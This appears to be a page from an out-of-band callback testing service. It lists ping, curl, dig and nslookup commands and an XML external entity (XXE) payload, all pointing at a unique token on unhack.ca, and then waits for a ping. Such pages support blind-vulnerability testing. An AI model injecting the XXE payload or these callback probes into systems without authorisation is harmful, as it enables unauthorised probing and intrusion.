$ ping -c1 -p 00bf8eadde53f43694a7edaeb0847100 unhack.ca
 
$ curl http://unhack.ca/p/bf8eadde53f43694a7edaeb08471
 
$ dig bf8eadde53f43694a7edaeb08471 @unhack.ca
 
$ dig bf8eadde53f43694a7edaeb08471.ns.unhack.ca
 
C:\> nslookup bf8eadde53f43694a7edaeb08471 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/bf8eadde53f43694a7edaeb08471">]>
    <foo>&xxe;</foo>
Waiting for ping...